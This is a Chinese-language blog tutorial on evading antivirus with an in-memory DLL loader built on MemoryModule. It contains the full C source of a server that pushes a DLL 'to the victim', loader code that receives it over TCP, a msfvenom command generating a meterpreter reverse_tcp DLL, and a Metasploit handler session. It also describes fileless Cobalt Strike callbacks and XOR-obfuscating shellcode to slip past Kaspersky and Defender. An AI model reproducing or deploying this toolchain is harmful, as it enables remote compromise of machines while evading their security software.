0x00 前言
此篇文章的思路是来自于倾旋师傅的静态恶意代码逃逸(第六课)
PS:这个系列文章进行入门学习还是非常好的。
我认为对于一个渗透人员,免杀技术还是比较重要的,而且其实想达到一定的效果也不是太费劲,学习的过程中,你也可以了解很多Windows编程的知识、熟悉很多API、各种代码注入技术等等,对之后的学习、发展也有帮助。当然你使用python、Go…这些语言去做免杀可能更简单,但是还是推荐用C系列的,为了自己的学习还是更好。
0x01 关于MemoryModule
https://github.com/fancycode/MemoryModule
MemoryModule is a C-library that can be used to load a DLL from memory.
比较著名的WannaCry在加载加密函数动态库的时候,并没有调用LoadLibrary()函数,而是自己实现将其加载到指定内存,并自己实现GetProcAddress()从而实现函数的调用。这样有什么好处呢?这样便无法查到它的加载模块与函数地址。
而 MemoryModule 相当于该项目实现了自己的LoadLibrary函数,将DLL 加载到内存中,然后进行常规的DLL 操作。
查看Github发现我们可以这样使用:
typedef void *HMEMORYMODULE;
HMEMORYMODULE MemoryLoadLibrary(const void *, size_t);
FARPROC MemoryGetProcAddress(HMEMORYMODULE, const char *);
void MemoryFreeLibrary(HMEMORYMODULE);
0x02 代码阅读
简单阅读一下静态恶意代码逃逸(第六课)所提供的代码:
获取远端DLL代码:
BOOL GetTOOL(const char* address, int port) {
DWORD dwError;
WORD sockVersion = MAKEWORD(2, 2);
WSADATA wsaData;
SOCKET socks;
SHORT sListenPort = port;
struct sockaddr_in sin;
if (WSAStartup(sockVersion, &wsaData) != 0)
{
dwError = GetLastError();
return FALSE;
}
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (socks == INVALID_SOCKET)
{
dwError = GetLastError();
return FALSE;
}
sin.sin_family = AF_INET;
sin.sin_port = htons(sListenPort);
sin.sin_addr.S_un.S_addr = inet_addr(address);
if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) == SOCKET_ERROR)
{
dwError = GetLastError();
return FALSE;
}
int ret = 0;
///ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
//ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
//ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
//ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
//ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ZeroMemory(bFileBuffer, TOOLS_SIZE);
pSpace = (CHAR*)VirtualAlloc(NULL, TOOLS_SIZE, MEM_COMMIT, PAGE_READWRITE);
ret = recv(socks, (PCHAR)pSpace, TOOLS_SIZE, NULL);
if (ret > 0)
{
closesocket(socks);
}
return TRUE;
}
代码里这一段接受了一些数据又置空,这里有个疑问,不知道为何会这样做,2650是MSF生成DLL的一半大小,4字节又是PE文件头开始的MS-DOS头之中的struct_IMAGE_DOS_HEADER
这个结构体定义中的最后一个e_lfnew
,一个4字节的文件偏移量,PE文件头部就是由这个定位的,这里请教一下是为什么。
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 2650, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ret = recv(socks, (PCHAR)bFileBuffer, 4, NULL);
ZeroMemory(bFileBuffer, TOOLS_SIZE);
我们接受到的数据在pSpace
之中,然后导入DLL,获得导出函数的地址
然后调用MemoryModule:
hModule = MemoryLoadLibrary(pSpace);
if (hModule == NULL) {
delete[] bFileBuffer;
return -1;
}
DllMain = (Module)MemoryGetProcAddress(hModule,"DllMain");
然后创建线程执行导出函数
最后MemoryFreeLibrary(hModule);
,释放MemoryModule句柄
0x03 编写DLL发射器,联动CS
目前这个加载器只可以用来加载MSF的DLL,那么我们想加载自己的DLL怎么办呢(其实MSF发射的DLL换成自己的就行),但其实我们可以自己写一个DLL发射器,来上线CS,这样就不用每次再开MSF了,这样也更灵活了。
刚刚我们查看加载器中的代码发现,就是简单的Socket网络编程中用来接受数据的代码,由此我们用C语言编写一个DLL发射器也可以实现发射自己的DLL到接收器进行加载。
Windows和Linux用到的库不一样,发射器改成Windows下能用的改的地方也不多,原理也一样。所以我们选择Linux网络编程来实现:
// PigSender 用于传输DLL到victim
// Auther @evilash
#include<netinet/in.h>
#include<sys/types.h>
#include<sys/socket.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include <unistd.h>
#define LENGTH_OF_LISTEN_QUEUE 20
#define BUFFER_SIZE 287744
#define FILE_NAME_MAX_SIZE 512
char banner[7][50] = {" ____ _ ____ _ ",
" | _ \\(_) __ _/ ___| ___ _ __ __| | ___ _ __ ",
" | |_) | |/ _` \\___ \\ / _ \\ '_ \\ / _` |/ _ \\ '__|",
" | __/| | (_| |___) | __/ | | | (_| | __/ | ",
" |_| |_|\\__, |____/ \\___|_| |_|\\__,_|\\___|_| ",
" |___/ ",
" A Reflective DLL Sender v0.1 @evilash"
};
int main(int argc, char **argv)
{
int ch;
char* port;
char* filename;
char file_name[FILE_NAME_MAX_SIZE];
if (argc == 1){
printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]);
printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]);
exit(1);
}
//参数处理
while ((ch = getopt(argc, argv, "f:l:h")) != -1) {
switch (ch) {
case 'f':
filename = strdup(optarg);
strcpy(file_name, filename);
break;
case 'l':
port = strdup(optarg);
port = atoi((const char *)port);
break;
case 'h':
printf("%s\n%s\n%s\n%s\n%s\n%s\n%s\n\n", banner[0],banner[1],banner[2],banner[3],banner[4],banner[5],banner[6]);
printf("Usage:\n\n %s -f [filename] -l [ListenPort].\n",argv[0]);
return -1;
case '?':
printf("Usage:\n %s -f [filename] -l [ListenPort].\n",argv[0]);
return -1;
default:
printf("Usage: %s -f [filename] -l [ListenPort].\n",argv[0]);
exit(1);
}
}
// set socket's address information
struct sockaddr_in server_addr;
bzero(&server_addr, sizeof(server_addr));
server_addr.sin_family = AF_INET;
server_addr.sin_addr.s_addr = htons(INADDR_ANY);
server_addr.sin_port = htons(port);
// create a stream socket
int server_socket = socket(PF_INET, SOCK_STREAM, 0);
if (server_socket < 0)
{
printf("Create Socket Failed!\n");
exit(1);
}
// 把socket和socket地址结构绑定
if (bind(server_socket, (struct sockaddr*)&server_addr, sizeof(server_addr)))
{
printf("Server Bind Port: %s Failed!\n", port);
exit(1);
}
// server_socket用于监听
if (listen(server_socket, LENGTH_OF_LISTEN_QUEUE))
{
printf("Server Listen Failed!\n");
exit(1);
}
// 服务器端一直运行用以持续为客户端提供服务
while(1)
{
// 定义客户端的socket地址结构client_addr,当收到来自客户端的请求后,调用accept
// 接受此请求,同时将client端的地址和端口等信息写入client_addr中
struct sockaddr_in client_addr;
socklen_t length = sizeof(client_addr);
// 接受一个从client端到达server端的连接请求,将客户端的信息保存在client_addr中
// 如果没有连接请求,则一直等待直到有连接请求为止,这是accept函数的特性,可以
// 用select()来实现超时检测
// accpet返回一个新的socket,这个socket用来与此次连接到server的client进行通信
// 这里的new_server_socket代表了这个通信通道
int new_server_socket = accept(server_socket, (struct sockaddr*)&client_addr, &length);
if (new_server_socket < 0)
{
printf("Server Accept Failed!\n");
break;
}
char buffer[BUFFER_SIZE];
//bzero(buffer, sizeof(buffer));
printf("[+]Sending DLL\n");
//bzero(file_name, sizeof(file_name));
//strncpy(file_name, buffer, strlen(buffer) > FILE_NAME_MAX_SIZE ? FILE_NAME_MAX_SIZE : strlen(buffer));
sleep(2);
//strcpy(file_name, filename);
FILE *fp = fopen(file_name, "r");
if (fp == NULL)
{
printf("File:%s Not Found!\n", file_name);
}
else
{
bzero(buffer, BUFFER_SIZE);
int file_block_length = 0;
while( (file_block_length = fread(buffer, sizeof(char), BUFFER_SIZE, fp)) > 0)
{
printf("[+]file_block_length = %d\n", file_block_length);
// 发送buffer中的字符串到new_server_socket,实际上就是发送给客户端
if (send(new_server_socket, buffer, file_block_length, 0) < 0)
{
printf("Send File:\t%s Failed!\n", file_name);
break;
}
bzero(buffer, sizeof(buffer));
}
fclose(fp);
printf("[+]File:%s Transfer Finished!\n", file_name);
}
close(new_server_socket);
}
close(server_socket);
return 0;
}
可以发现我们accept
之后sleep了两秒,其实再长一些更好,这里如果直接这样等待连接的话客户端,也就是加载器那边直接接收的话,是会出现问题的,我在倾旋师傅的项目Cooolis的源码里也看到了他对于这个的处理(每次看大佬们的代码会学习到很多东西)
最后,通过这个直接就可以远程通过Memorymodule
项目反射加载我们的DLL进行上线CS,达到恶意代码不落地的效果。
0x04 免杀测试
我们可以把MSF的和CS的分别编译一个Loader,我对代码进行了简单的修改,把IP以及端口写成了获取参数,删除了几行代码,以及额外添加了一些反仿真的代码。下面介绍两个的用法:
MSF
生成一个DLL:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.43.130 LPORT=8899 -f dll -o ./a.dll
设置监听、发射DLL:
msf5 > handler -p windows/x64/meterpreter/reverse_tcp -H 192.168.43.130 -P 8899
[*] Payload handler running as background job 0.
[*] Started reverse TCP handler on 192.168.43.130:8899
msf5 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf5 exploit(multi/handler) > set payload windows/patchupdllinject/reverse_tcp
payload => windows/patchupdllinject/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.43.130
lhost => 192.168.43.130
msf5 exploit(multi/handler) > set lport 8080
lport => 8080
msf5 exploit(multi/handler) > set dll a.dll
dll => a.dll
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 1.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 192.168.43.130:8080
CS
上线CS使用的DLL我是直接改的RDI项目中的DLL模板,写CS的shellcode进去简单加载就可以。然后用我们我们自己的发射器发射DLL就可以。
在目前的基础上VT测试:
其实恶意代码不在这程序里,测这个意义也不大,更多要考虑的还是行为。
另外想说一下,其实测这种沙盒在静态过了的情况下,加一些anti sandbox的代码就跑不起来了,意义不大,有的在沙盒可以乱过,但是真实环境是不行的,所以还是直接装一个对应的AV去测试好一点。
不过用这种方式上线,Bypass国内的AV还是相当好用的,Defender也能乱过,不过对于真实环境的卡巴斯基那一类是不吃这一套的。
文章最后会提供这两个版本的Loader,免杀效果已经能满足绝大部分使用。
0x05 进一步完善免杀效果
既然都写到这了,那么就进一步说说在这个基础上,该怎么在行为上bypass卡巴、赛门这一类的AV。
首先,我们可以去想,我们用这种方式去加载一个MessageBox会拦截吗?答案肯定是否。
第二,卡巴对于流量进行检测是比较厉害的,那么我们是不是可以尝试加密流量,或者混淆buf呢。
下面,我们实现一下第一种想法,直接简单的把DLL之中的shellcode替换为xor后的,执行之前再xor一下,稍微规避一下特征。
这里具体的代码就不提供了,白嫖党还是多啊,我相信很多人自己写一下就出来了。
效果
首先把DLL放在vps,然后去指定发送的文件、端口,开启Listen
然后Loader指定VPS的地址,可以看到加载成功。
直接自己电脑临时装个卡巴斯基全方位版测试:
0x06 总结
本文以@倾旋的代码为基础,首先介绍了MemoryModule这个项目,可以从内存中加载DLL。然后实现自己的DLL发射器,简单修改优化代码,加载自己编写的DLL,达到上线CS的效果,并且达成了一定的免杀效果。最后介绍了如何优化项目实现Bypass更高级一些的AV,从而真正达到免杀全世界AV的效果。